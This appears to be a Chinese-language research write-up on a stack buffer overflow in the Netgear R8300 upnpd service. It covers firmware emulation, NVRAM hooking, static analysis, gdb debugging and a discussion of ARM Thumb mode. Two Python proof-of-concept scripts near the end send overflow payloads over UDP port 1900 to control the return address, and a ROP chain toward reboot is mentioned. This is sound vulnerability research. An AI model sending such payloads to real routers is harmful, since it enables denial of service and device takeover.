* firmadyne只支持armel、mipseb、 mipsel这三种系统内核相比我们熟悉的armelarmhf代表了另一种不兼容的二进制标准。https://people.debian.org/~aurel32/qemu/armhf/
* ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083836/netgear/image_28.png)
* NVRAM库劫持失败firmadyne实现了sem_get()、sem_lock()、sem_unlock()等函数https://github.com/firmadyne/libnvram
```shell
$ ./fat.py 'Path to R8300 firmware file'
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| \__,_| \__|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: R8300-V1.0.2.130_1.0.99.chk
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: []
[+] All set! Press ENTER to run the firmware...
[+] When running, press Ctrl + A X to terminate qemu
**[+] Command line: /home/yjy/firmware-analysis-toolkit/firmadyne/scratch/2/run.sh**
[sudo] password for yjy:
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
[ 0.000000] Machine model: linux,dummy-virt
[ 0.000000] debug: ignoring loglevel setting.
[ 0.000000] Memory policy: Data cache writeback
[ 0.000000] On node 0 totalpages: 65536
[ 0.000000] free_area_init_node: node 0, pgdat c061dfe8, node_mem_map cfdf9000
[ 0.000000] Normal zone: 512 pages used for memmap
[ 0.000000] Normal zone: 0 pages reserved
[ 0.000000] Normal zone: 65536 pages, LIFO batch:15
[ 0.000000] CPU: All CPU(s) started in SVC mode.
[ 0.000000] pcpu-alloc: s0 r0 d32768 u32768 alloc=1*32768
[ 0.000000] pcpu-alloc: [0] 0
[ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 65024
[ 0.000000] Kernel command line: root=/dev/vda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 user_debug=31 firmadyne.syscall=0
[ 0.000000] PID hash table entries: 1024 (order: 0, 4096 bytes)
[ 0.000000] Dentry cache hash table entries: 32768 (order: 5, 131072 bytes)
[ 0.000000] Inode-cache hash table entries: 16384 (order: 4, 65536 bytes)
[ 0.000000] Memory: 253344K/262144K available (4297K kernel code, 170K rwdata, 1584K rodata, 180K init, 148K bss, 8800K reserved, 0K cma-reserved)
[ 0.000000] Virtual kernel memory layout:
[ 0.000000] vector : 0xffff0000 - 0xffff1000 ( 4 kB)
[ 0.000000] fixmap : 0xffc00000 - 0xfff00000 (3072 kB)
[ 0.000000] vmalloc : 0xd0800000 - 0xff000000 ( 744 MB)
[ 0.000000] lowmem : 0xc0000000 - 0xd0000000 ( 256 MB)
[ 0.000000] modules : 0xbf000000 - 0xc0000000 ( 16 MB)
[ 0.000000] .text : 0xc0008000 - 0xc05c67bc (5882 kB)
[ 0.000000] .init : 0xc05c7000 - 0xc05f4000 ( 180 kB)
[ 0.000000] .data : 0xc05f4000 - 0xc061e840 ( 171 kB)
[ 0.000000] .bss : 0xc0621000 - 0xc06462d4 ( 149 kB)
[ 0.000000] NR_IRQS:16 nr_irqs:16 16
[ 0.000000] Architected cp15 timer(s) running at 62.50MHz (virt).
[ 0.000000] clocksource arch_sys_counter: mask: 0xffffffffffffff max_cycles: 0x1cd42e208c, max_idle_ns: 881590405314 ns
[ 0.000071] sched_clock: 56 bits at 62MHz, resolution 16ns, wraps every 4398046511096ns
[ 0.000128] Switching to timer-based delay loop, resolution 16ns
[ 0.001495] Console: colour dummy device 80x30
[ 0.001639] Calibrating delay loop (skipped), value calculated using timer frequency.. 125.00 BogoMIPS (lpj=625000)
[ 0.001695] pid_max: default: 32768 minimum: 301
[ 0.002124] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes)
[ 0.002142] Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes)
[ 0.005250] CPU: Testing write buffer coherency: ok
[ 0.008040] Setting up static identity map for 0x40008240 - 0x40008298
[ 0.015663] VFP support v0.3: implementor 41 architecture 4 part 30 variant f rev 0
[ 0.019946] clocksource jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns
[ 0.025312] NET: Registered protocol family 16
[ 0.026714] DMA: preallocated 256 KiB pool for atomic coherent allocations
[ 0.028535] cpuidle: using governor ladder
[ 0.028604] cpuidle: using governor menu
[ 0.030202] genirq: Setting trigger mode 1 for irq 20 failed (gic_set_type+0x0/0x48)
[ 0.031001] genirq: Setting trigger mode 1 for irq 21 failed (gic_set_type+0x0/0x48)
[ 0.031154] genirq: Setting trigger mode 1 for irq 22 failed (gic_set_type+0x0/0x48)
[ 0.031310] genirq: Setting trigger mode 1 for irq 23 failed (gic_set_type+0x0/0x48)
[ 0.031466] genirq: Setting trigger mode 1 for irq 24 failed (gic_set_type+0x0/0x48)
[ 0.031614] genirq: Setting trigger mode 1 for irq 25 failed (gic_set_type+0x0/0x48)
[ 0.031756] genirq: Setting trigger mode 1 for irq 26 failed (gic_set_type+0x0/0x48)
[ 0.031900] genirq: Setting trigger mode 1 for irq 27 failed (gic_set_type+0x0/0x48)
[ 0.032378] genirq: Setting trigger mode 1 for irq 28 failed (gic_set_type+0x0/0x48)
[ 0.032530] genirq: Setting trigger mode 1 for irq 29 failed (gic_set_type+0x0/0x48)
[ 0.032670] genirq: Setting trigger mode 1 for irq 30 failed (gic_set_type+0x0/0x48)
[ 0.032819] genirq: Setting trigger mode 1 for irq 31 failed (gic_set_type+0x0/0x48)
[ 0.032959] genirq: Setting trigger mode 1 for irq 32 failed (gic_set_type+0x0/0x48)
[ 0.033118] genirq: Setting trigger mode 1 for irq 33 failed (gic_set_type+0x0/0x48)
[ 0.033256] genirq: Setting trigger mode 1 for irq 34 failed (gic_set_type+0x0/0x48)
[ 0.033394] genirq: Setting trigger mode 1 for irq 35 failed (gic_set_type+0x0/0x48)
[ 0.033536] genirq: Setting trigger mode 1 for irq 36 failed (gic_set_type+0x0/0x48)
[ 0.033681] genirq: Setting trigger mode 1 for irq 37 failed (gic_set_type+0x0/0x48)
[ 0.033849] genirq: Setting trigger mode 1 for irq 38 failed (gic_set_type+0x0/0x48)
[ 0.034017] genirq: Setting trigger mode 1 for irq 39 failed (gic_set_type+0x0/0x48)
[ 0.034163] genirq: Setting trigger mode 1 for irq 40 failed (gic_set_type+0x0/0x48)
[ 0.034311] genirq: Setting trigger mode 1 for irq 41 failed (gic_set_type+0x0/0x48)
[ 0.034462] genirq: Setting trigger mode 1 for irq 42 failed (gic_set_type+0x0/0x48)
[ 0.034612] genirq: Setting trigger mode 1 for irq 43 failed (gic_set_type+0x0/0x48)
[ 0.034766] genirq: Setting trigger mode 1 for irq 44 failed (gic_set_type+0x0/0x48)
[ 0.034921] genirq: Setting trigger mode 1 for irq 45 failed (gic_set_type+0x0/0x48)
[ 0.035088] genirq: Setting trigger mode 1 for irq 46 failed (gic_set_type+0x0/0x48)
[ 0.035258] genirq: Setting trigger mode 1 for irq 47 failed (gic_set_type+0x0/0x48)
[ 0.035408] genirq: Setting trigger mode 1 for irq 48 failed (gic_set_type+0x0/0x48)
[ 0.035554] genirq: Setting trigger mode 1 for irq 49 failed (gic_set_type+0x0/0x48)
[ 0.035698] genirq: Setting trigger mode 1 for irq 50 failed (gic_set_type+0x0/0x48)
[ 0.035841] genirq: Setting trigger mode 1 for irq 51 failed (gic_set_type+0x0/0x48)
[ 0.036126] genirq: Setting trigger mode 1 for irq 52 failed (gic_set_type+0x0/0x48)
[ 0.037808] Serial: AMBA PL011 UART driver
[ 0.038739] 9000000.pl011: ttyS0 at MMIO 0x9000000 (irq = 52, base_baud = 0) is a PL011 rev1
[ 0.093732] console [ttyS0] enabled
[ 0.106203] vgaarb: loaded
[ 0.108624] SCSI subsystem initialized
[ 0.111674] usbcore: registered new interface driver usbfs
[ 0.115340] usbcore: registered new interface driver hub
[ 0.118879] usbcore: registered new device driver usb
[ 0.126521] cfg80211: Calling CRDA to update world regulatory domain
[ 0.133497] Switched to clocksource arch_sys_counter
[ 0.147183] NET: Registered protocol family 2
[ 0.152842] TCP established hash table entries: 2048 (order: 1, 8192 bytes)
[ 0.158337] TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
[ 0.162885] TCP: Hash tables configured (established 2048 bind 2048)
[ 0.167385] UDP hash table entries: 256 (order: 0, 4096 bytes)
[ 0.171595] UDP-Lite hash table entries: 256 (order: 0, 4096 bytes)
[ 0.176698] NET: Registered protocol family 1
[ 0.179833] PCI: CLS 0 bytes, default 64
[ 0.185928] NetWinder Floating Point Emulator V0.97 (extended precision)
[ 0.192393] futex hash table entries: 256 (order: -1, 3072 bytes)
[ 0.201353] squashfs: version 4.0 (2009/01/31) Phillip Lougher
[ 0.207858] jffs2: version 2.2. (NAND) © 2001-2006 Red Hat, Inc.
[ 0.212517] romfs: ROMFS MTD (C) 2007 Red Hat, Inc.
[ 0.219896] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
[ 0.225512] io scheduler noop registered
[ 0.228340] io scheduler cfq registered (default)
[ 0.232063] firmadyne: devfs: 1, execute: 1, procfs: 1, syscall: 0
[ 0.237165] ------------[ cut here ]------------
[ 0.240536] WARNING: CPU: 0 PID: 1 at /home/vagrant/firmadyne-kernel/kernel-v4.1/fs/sysfs/dir.c:31 sysfs_warn_dup+0x50/0x6c()
[ 0.248160] sysfs: cannot create duplicate filename '/class/gpio'
[ 0.252258] Modules linked in:
[ 0.254810] CPU: 0 PID: 1 Comm: swapper Not tainted 4.1.17+ #1
[ 0.259118] Hardware name: Generic DT based system
[ 0.262292] [<c001c99c>] (unwind_backtrace) from [<c0019d30>] (show_stack+0x10/0x14)
[ 0.262401] [<c0019d30>] (show_stack) from [<c0024ab4>] (warn_slowpath_common+0x80/0xa8)
[ 0.262472] [<c0024ab4>] (warn_slowpath_common) from [<c0024b08>] (warn_slowpath_fmt+0x2c/0x3c)
[ 0.262560] [<c0024b08>] (warn_slowpath_fmt) from [<c00e363c>] (sysfs_warn_dup+0x50/0x6c)
[ 0.262619] [<c00e363c>] (sysfs_warn_dup) from [<c00e3714>] (sysfs_create_dir_ns+0x74/0x84)
[ 0.262679] [<c00e3714>] (sysfs_create_dir_ns) from [<c018e6ac>] (kobject_add_internal+0xb8/0x2ac)
[ 0.262742] [<c018e6ac>] (kobject_add_internal) from [<c018e9a8>] (kset_register+0x1c/0x44)
[ 0.262801] [<c018e9a8>] (kset_register) from [<c02090b4>] (__class_register+0xa8/0x198)
[ 0.262860] [<c02090b4>] (__class_register) from [<c02091e4>] (__class_create+0x40/0x70)
[ 0.262918] [<c02091e4>] (__class_create) from [<c01adf68>] (register_devfs_stubs+0x314/0xbb4)
[ 0.262981] [<c01adf68>] (register_devfs_stubs) from [<c05d9b08>] (init_module+0x28/0xa4)
[ 0.263053] [<c05d9b08>] (init_module) from [<c0009670>] (do_one_initcall+0x104/0x1b4)
[ 0.263113] [<c0009670>] (do_one_initcall) from [<c05c7d08>] (kernel_init_freeable+0xf0/0x1b0)
[ 0.263229] [<c05c7d08>] (kernel_init_freeable) from [<c040f28c>] (kernel_init+0x8/0xe4)
[ 0.263287] [<c040f28c>] (kernel_init) from [<c0016da8>] (ret_from_fork+0x14/0x2c)
[ 0.263383] ---[ end trace b31221f46a8dc90e ]---
[ 0.263460] ------------[ cut here ]------------
[ 0.263502] WARNING: CPU: 0 PID: 1 at /home/vagrant/firmadyne-kernel/kernel-v4.1/lib/kobject.c:240 kobject_add_internal+0x240/0x2ac()
[ 0.263572] kobject_add_internal failed for gpio with -EEXIST, don't try to register things with the same name in the same directory.
[ 0.263639] Modules linked in:
[ 0.263699] CPU: 0 PID: 1 Comm: swapper Tainted: G W 4.1.17+ #1
[ 0.263744] Hardware name: Generic DT based system
[ 0.263788] [<c001c99c>] (unwind_backtrace) from [<c0019d30>] (show_stack+0x10/0x14)
[ 0.263846] [<c0019d30>] (show_stack) from [<c0024ab4>] (warn_slowpath_common+0x80/0xa8)
[ 0.263906] [<c0024ab4>] (warn_slowpath_common) from [<c0024b08>] (warn_slowpath_fmt+0x2c/0x3c)
[ 0.263970] [<c0024b08>] (warn_slowpath_fmt) from [<c018e834>] (kobject_add_internal+0x240/0x2ac)
[ 0.264032] [<c018e834>] (kobject_add_internal) from [<c018e9a8>] (kset_register+0x1c/0x44)
[ 0.264091] [<c018e9a8>] (kset_register) from [<c02090b4>] (__class_register+0xa8/0x198)
[ 0.268034] [<c02090b4>] (__class_register) from [<c02091e4>] (__class_create+0x40/0x70)
[ 0.275667] [<c02091e4>] (__class_create) from [<c01adf68>] (register_devfs_stubs+0x314/0xbb4)
[ 0.280619] [<c01adf68>] (register_devfs_stubs) from [<c05d9b08>] (init_module+0x28/0xa4)
[ 0.285445] [<c05d9b08>] (init_module) from [<c0009670>] (do_one_initcall+0x104/0x1b4)
[ 0.289737] [<c0009670>] (do_one_initcall) from [<c05c7d08>] (kernel_init_freeable+0xf0/0x1b0)
[ 0.290664] [<c05c7d08>] (kernel_init_freeable) from [<c040f28c>] (kernel_init+0x8/0xe4)
[ 0.290727] [<c040f28c>] (kernel_init) from [<c0016da8>] (ret_from_fork+0x14/0x2c)
[ 0.290797] ---[ end trace b31221f46a8dc90f ]---
[ 0.290872] firmadyne: Cannot create device class: gpio!
[ 0.291677] firmadyne: Cannot register character device: watchdog, 0xa, 0x82!
[ 0.291743] firmadyne: Cannot register character device: wdt, 0xfd, 0x0!
[ 0.345419] Non-volatile memory driver v1.3
[ 0.360206] brd: module loaded
[ 0.368143] loop: module loaded
[ 0.375773] vda: vda1
[ 0.380587] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.387584] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.394469] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.401256] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.402697] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.402848] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.403058] nand: device found, Manufacturer ID: 0x98, Chip ID: 0x39
[ 0.403112] nand: Toshiba NAND 128MiB 1,8V 8-bit
[ 0.403158] nand: 128 MiB, SLC, erase size: 16 KiB, page size: 512, OOB size: 16
[ 0.403555] flash size: 128 MiB
[ 0.403585] page size: 512 bytes
[ 0.403612] OOB area size: 16 bytes
[ 0.403640] sector size: 16 KiB
[ 0.403665] pages number: 262144
[ 0.403690] pages per sector: 32
[ 0.403715] bus width: 8
[ 0.405652] bits in sector size: 14
[ 0.408186] bits in page size: 9
[ 0.410586] bits in OOB size: 4
[ 0.412941] flash size with OOB: 135168 KiB
[ 0.416112] page address bytes: 4
[ 0.418491] sector address bytes: 3
[ 0.421054] options: 0x42
[ 0.423632] Scanning device for bad blocks
[ 0.497574] Creating 11 MTD partitions on "NAND 128MiB 1,8V 8-bit":
[ 0.504589] 0x000000000000-0x000000100000 : "NAND simulator partition 0"
[ 0.510956] 0x000000100000-0x000000200000 : "NAND simulator partition 1"
[ 0.517483] 0x000000200000-0x000000300000 : "NAND simulator partition 2"
[ 0.523079] 0x000000300000-0x000000400000 : "NAND simulator partition 3"
[ 0.528404] 0x000000400000-0x000000500000 : "NAND simulator partition 4"
[ 0.533683] 0x000000500000-0x000000600000 : "NAND simulator partition 5"
[ 0.538960] 0x000000600000-0x000000700000 : "NAND simulator partition 6"
[ 0.544362] 0x000000700000-0x000000800000 : "NAND simulator partition 7"
[ 0.549586] 0x000000800000-0x000000900000 : "NAND simulator partition 8"
[ 0.554998] 0x000000900000-0x000000a00000 : "NAND simulator partition 9"
[ 0.560167] 0x000000a00000-0x000008000000 : "NAND simulator partition 10"
[ 0.568706] tun: Universal TUN/TAP device driver, 1.6
[ 0.573024] tun: (C) 1999-2004 Max Krasnyansky <maxk@qualcomm.com>
[ 0.584170] PPP generic driver version 2.4.2
[ 0.587727] PPP BSD Compression module registered
[ 0.591009] PPP Deflate Compression module registered
[ 0.594922] PPP MPPE Compression module registered
[ 0.598416] NET: Registered protocol family 24
[ 0.601736] PPTP driver version 0.8.5
[ 0.604905] usbcore: registered new interface driver usb-storage
[ 0.610485] hidraw: raw HID events driver (C) Jiri Kosina
[ 0.614655] usbcore: registered new interface driver usbhid
[ 0.618555] usbhid: USB HID core driver
[ 0.621686] Netfilter messages via NETLINK v0.30.
[ 0.625702] nf_conntrack version 0.5.0 (3958 buckets, 15832 max)
[ 0.630752] ctnetlink v0.93: registering with nfnetlink.
[ 0.635472] ipip: IPv4 over IPv4 tunneling driver
[ 0.639820] gre: GRE over IPv4 demultiplexor driver
[ 0.643303] ip_gre: GRE over IPv4 tunneling driver
[ 0.649259] ip_tables: (C) 2000-2006 Netfilter Core Team
[ 0.655447] arp_tables: (C) 2002 David S. Miller
[ 0.660480] Initializing XFRM netlink socket
[ 0.664155] NET: Registered protocol family 10
[ 0.670172] ip6_tables: (C) 2000-2006 Netfilter Core Team
[ 0.674635] sit: IPv6 over IPv4 tunneling driver
[ 0.680072] NET: Registered protocol family 17
[ 0.683649] bridge: automatic filtering via arp/ip/ip6tables has been deprecated. Update your scripts to load br_netfilter if you need this.
[ 0.692092] Bridge firewalling registered
[ 0.694840] Ebtables v2.0 registered
[ 0.697697] 8021q: 802.1Q VLAN Support v1.8
[ 0.700677] Registering SWP/SWPB emulation handler
[ 0.705032] hctosys: unable to open rtc device (rtc0)
[ 0.713464] EXT4-fs (vda1): couldn't mount as ext3 due to feature incompatibilities
[ 0.721943] EXT4-fs (vda1): mounting ext2 file system using the ext4 subsystem
[ 0.732941] EXT4-fs (vda1): warning: mounting unchecked fs, running e2fsck is recommended
[ 0.740503] EXT4-fs (vda1): mounted filesystem without journal. Opts: (null)
[ 0.745898] VFS: Mounted root (ext2 filesystem) on device 254:1.
[ 0.752726] Freeing unused kernel memory: 180K (c05c7000 - c05f4000)
[ 0.790000] random: init urandom read with 3 bits of entropy available
nvram_get_buf: time_zone
sem_lock: Triggering NVRAM initialization!
nvram_init: Initializing NVRAM...
sem_get: Key: 410160c4
nvram_init: Unable to touch Ralink PID file: /var/run/nvramd.pid!
sem_get: Key: 410c0019
nvram_set_default_builtin: Setting built-in default values!
nvram_set: console_loglevel = "7"
sem_get: Key: 410c0019
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_lock: Unable to get semaphore!
```
### Qemu自定义
1. **配置arm虚拟机**
使用Qemu模拟固件需要下载对应的arm虚拟机镜像内核和initrd。
https://people.debian.org/~aurel32/qemu/armhf/
```shell
[debian_wheezy_armhf_desktop.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_desktop.qcow2) 2013-12-17 02:43 1.7G [debian_wheezy_armhf_standard.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2) 2013-12-17 00:04 229M
[initrd.img-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress) 2013-12-17 01:57 2.2M
[vmlinuz-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress) 2013-09-20 18:33 1.9M
```
标准的虚拟机启动命令为
```
- qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2"
- qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_desktop.qcow2 -append "root=/dev/mmcblk0p2"
```
对于R8300固件在 Host 机上创建一个 tap 接口并分配 IP启动虚拟机
```shell
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic`
```
与标准命令区别在于` -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic`
启动之后输入用户名和密码,都是 root为虚拟机分配 IP
```shell
root@debian-armhf:~# ifconfig eth0 192.168.2.2/24
```
这样 Host 和虚拟机就网络互通了,然后挂载 proc、dev最后 chroot 即可。
```
root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc
root@debian-armhf:~# mount -o bind /dev ./squashfs-root/dev
root@debian-armhf:~# chroot ./squashfs-root/ sh
```
1. **修复依赖**
NVRAM( 非易失性 RAM) 用于存储路由器的配置信息,而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下,我们可以使用 `LD_PRELOAD` 劫持以下函数符号。手动创建 `/tmp/var/run` 目录,再次运行提示缺少 `/dev/nvram`
* 编译nvram.so
https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c
```
$ arm-linux-gcc -Wall -fPIC -shared nvram.c -o nvram.so
```
* 劫持`dlsym`
nvram库的实现者还同时 hook 了 `system`、`fopen`、`open` 等函数,因此还会用到 `dlsym``/lib/libdl.so.0 `导出了该符号。
```
$ grep -r "dlsym" .
Binary file ./lib/libcrypto.so.1.0.0 matches
Binary file ./lib/libdl.so.0 matches
Binary file ./lib/libhcrypto-samba4.so.5 matches
Binary file ./lib/libkrb5-samba4.so.26 matches
Binary file ./lib/libldb.so.1 matches
Binary file ./lib/libsamba-modules-samba4.so matches
Binary file ./lib/libsqlite3.so.0 matches
grep: ./lib/modules/2.6.36.4brcmarm+: No such file or directory
$ readelf -a *./lib/libdl.so.**0* | grep dlsym
26: 000010f0 296 FUNC GLOBAL DEFAULT 7 dlsym
```
* 配置tmp/nvram.ini信息
接下来要做的就是根据上面的日志补全配置信息也可以参考https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置可以查看对应的汇编代码逻辑配置的有问题的话很容易触发段错误
```shell
upnpd_debug_level=9
lan_ipaddr=192.168.2.2
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF
```
* 运行过程
```shell
# ./usr/sbin/upnpd
# /dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
# LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd
# ./usr/sbin/upnpd: can't resolve symbol 'dlsym'
# LD_PRELOAD="./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd
# [0x00026460] fopen('/var/run/upnpd.pid', 'wb+') = 0x00b19008
[0x0002648c] custom_nvram initialised
[0x76eb7cb8] *fopen**('/tmp/nvram.ini', 'r') = 0x00b19008*
[nvram 0] upnpd_debug_level = 9
[nvram 1] lan_ipaddr = 192.168.2.2
[nvram 2] hwver = R8500
[nvram 3] friendly_name = R8300
[nvram 4] upnp_enable = 1
[nvram 5] upnp_turn_on = 1
[nvram 6] upnp_advert_period = 30
[nvram 7] upnp_advert_ttl = 4
[nvram 8] upnp_portmap_entry = 1
[nvram 9] upnp_duration = 3600
[nvram 10] upnp_DHCPServerConfigurable = 1
[nvram 11] wps_is_upnp = 0
[nvram 12] upnp_sa_uuid = 00000000000000000000
[nvram 13] lan_hwaddr = AA:BB:CC:DD:EE:FF
[nvram 14] lan_hwaddr =
Read 15 entries from /tmp/nvram.ini
acosNvramConfig_get('upnpd_debug_level') = '9'
```
## 0x03 静态分析
该漏洞的原理是使用strcpy函数不当拷贝过长字符导致缓冲区溢出那么如何到达溢出位置。
首先upnpd服务在`sub_1D020()` 中使用`recvfrom()`从套接字接收UDP数据包并捕获数据发送源的地址。从函数定义可知upnpd接收了长度为0x1FFFF大小的数据到缓冲区v54
> **recvfrom** recvfrom函数(经socket接收数据):
> 函数原型:int recvfrom(SOCKET s,void ***buf**,int **len**,unsigned int flags, struct sockaddr *from,int *fromlen);
> 相关函数 recvrecvmsgsendsendtosocket
> 函数说明:[recv()](https://baike.baidu.com/item/recv%28%29)用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的[网络地址](https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E5%9C%B0%E5%9D%80),结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度.
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083882/netgear/image_29.png)
`sub_25E04()` 中调用 `strcpy()` 将以上数据拷贝到大小为 `0x634 - 0x58 = 0x5dc` 的 buffer。如果超过缓冲区大小数据就会覆盖栈底部分甚至返回地址。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083972/netgear/image_30.png)
```shell
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
s,ebp-0x58-->+-----------------+
| |
| buffer |
| |
| |
v40,ebp-0x634-->+-----------------+
```
## 0x04 动态调试
使用gdbserver调试目标程序https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver
```
# ps|grep upnp
2714 0 3324 S ./usr/sbin/upnpd
2788 0 1296 S grep upnp
# ./gdbserver 127.0.0.1:12345 --attach 2714
Attached; pid = 2714
Listening on port 12345
```
工作机上使用跨平台试gdb-multiarch
`gdb-multiarch -x dbgscript`
dbgscript 内容
```shell
set architecture arm
gef-remote -q 192.168.2.1:12345
file usr/sbin/upnpd
set remote exec-file /usr/sbin/upnpd
```
直接构造溢出字符程序不会正常返回因为栈上存在一个v40的指针v51需要覆盖为有效地址才能正确返回。
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/image_23.png)
```python
#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x634 * b'a' +
p32(0x43434343)
)
print(payload)
s.connect(('192.168.2.2', 1900))
s.send(payload)
s.close()
```
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_24.png)
```python
#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x604 * b'a' + # dummy
p32(0x7e2da53c) + # v51
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x43434343) # LR
)
s.connect(('192.168.2.2', 1900))
s.send(payload)
s.close()
```
可以看到我们向返回地址发送的数据为0x43434343但最后PC寄存器的值为0x43434342最后一个bit变为0这是为什么https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html
* 首先溢出覆盖了非叶函数的返回地址。一旦这个函数执行它的结束语来恢复保存的值保存的LR就被弹出到PC中返回给调用者。
* 其次关于最低有效位的一个注意事项BX指令将加载到PC的地址的LSB复制到CPSR寄存器的T状态位CPSR寄存器在ARM和Thumb模式之间切换ARMLSB=0/ThumbLSB=1
* 我们可以看到R7300是运行在THUMB状态
* 当处理器处于ARM状态时每条ARM指令为4个字节所以PC寄存器的值为当前指令地址 + 8字节
* 当处理器处于Thumb状态时每条Thumb指令为2字节所以PC寄存器的值为当前指令地址 + 4字节
* 因此保存的LR用0x43434343覆盖被弹出到PC中然后弹出地址的LSB被写入CPSR寄存器T位位5最后PC本身的LSB被设置为0从而产生0x43434342。
最后检查程序的缓解措施。程序本身开启了NX之前用过R7000的真机设备开了ASLR
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_25.png)
在堆栈恢复前下一个断点观察控制流转移情况将PC指针控制为重启指令。通过 hook 的日志可以看到ROP 利用链按照预期工作由于模拟环境的问题reboot 命令运行段错误了...
```shell
gef➤ b *0x00025F40
Breakpoint 1 at 0x25f40
.text:00025F40 ADD SP, SP, #0x234
.text:00025F44 ADD SP, SP, #0x400
.text:00025F48 LDMFD SP!, {R4-R11,PC}
